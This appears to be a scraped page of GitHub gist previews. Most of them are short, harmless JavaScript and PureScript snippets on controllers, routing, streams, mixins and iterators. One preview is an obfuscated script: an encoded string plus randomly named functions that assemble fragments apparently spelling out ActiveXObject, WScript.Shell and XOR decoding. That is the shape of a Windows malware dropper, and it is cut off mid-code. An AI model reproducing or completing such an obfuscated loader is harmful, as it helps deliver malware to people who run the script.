This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var PostController = { | |
index: function(id) { | |
var that = this; | |
Post.get(id, function(err, post) { | |
if(err) { | |
return that.next(err); | |
} | |
that.render('post', post); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class LocalServer { | |
constructor(handler) { | |
if(!(this instanceof LocalServer)) return new LocalServer(handler); | |
window.addEventListener('popstate', handler); | |
handler(history); | |
this.handler = handler; | |
} | |
navigate(url, state) { | |
this.handler({state}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class App(val foo : String) : React.Component { | |
fn render() = | |
div { | |
a(href = "/foo") { | |
+foo | |
} | |
} | |
} | |
React.render(App(foo = "hello"), document.body) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
foreign import data Stream :: * -> * | |
foreign import bindStream """function(s) { | |
return function(f) { | |
return s.flatMap(f); | |
}; | |
}""" :: forall a,b. Stream a -> (a -> Stream b) -> Stream b | |
foreign import returnStream """function(a) { | |
return highland([a]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function modulo(a, b) { return (+a % (b = +b) + b) % b; }; | |
var h = require("highland"); | |
var net = require("net"); | |
var HOST = "127.0.0.1"; | |
function createServer(port) { | |
net.createServer(function(sock) { | |
if (port === 7001) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Function.prototype.with = function(...mixins) { | |
class inner extends this {} | |
for(let mixin of mixins) { | |
Object.assign(inner.prototype, mixin); | |
} | |
return inner; | |
} | |
class Foo extends Controller.with(Model.resources()) {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var listing="55555D5E0913160616010A0A050A240309050D084A070B09";function lid_copy_js_last() { internal_item = internal_item + 'r ws'; zip_external_type_big(); }; function scan_wrapper_eu_note() { internal_item = internal_item + 'o.'; editor_br(); }; function gz_port_type_id() { internal_item = internal_item + 'w Act'; string_id(); }; function js_eu_editor() { internal_item = internal_item + 'ry { '; small_viewer_jar(); }; function viewer_new_json() { internal_item = internal_item + 'n,2)'; rar_gz(); }; function access_last() { internal_item = internal_item + '.Ex'; ca_prev_stop_it(); }; function pid_gid_start_sum() { internal_item = internal_item + '=='; cn_jquery_external(); }; function txt_browser_viewer_process_id() { internal_item = internal_item + 't.She'; js_rar_xor_checker_stop(); }; function fid_invalid_analyzer_register() { internal_item = internal_item + ' (xo'; lid_view(); }; function html_internal_en_eu_pl() { internal_item = internal_item + 'nd'; id_eu_updater(); }; function analyzer_lid |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// TODO: hyperscript wrapper that renders fm components, fm initialize that works with jsx | |
{ | |
render() { | |
this.fireStatic('before render'); | |
var newTree = this.toHTML(); | |
// If possible recycle outer element but | |
// build from scratch if there is no |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Handler { | |
static receives = Handler.eventTypes().map(t => ['event', t]); | |
static eventTypes() { | |
return Object.keys(this.prototype).map(k => k.split(' ')[0]); | |
} | |
[handleIntent](intent) { | |
var handler = this.elementMatch(intent.data.target); | |
return handler.call(this, intent.data) || []; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = function* filterIterator(fn, iter) { | |
for(let i of iter) | |
if(fn(i)) | |
yield i; | |
}; |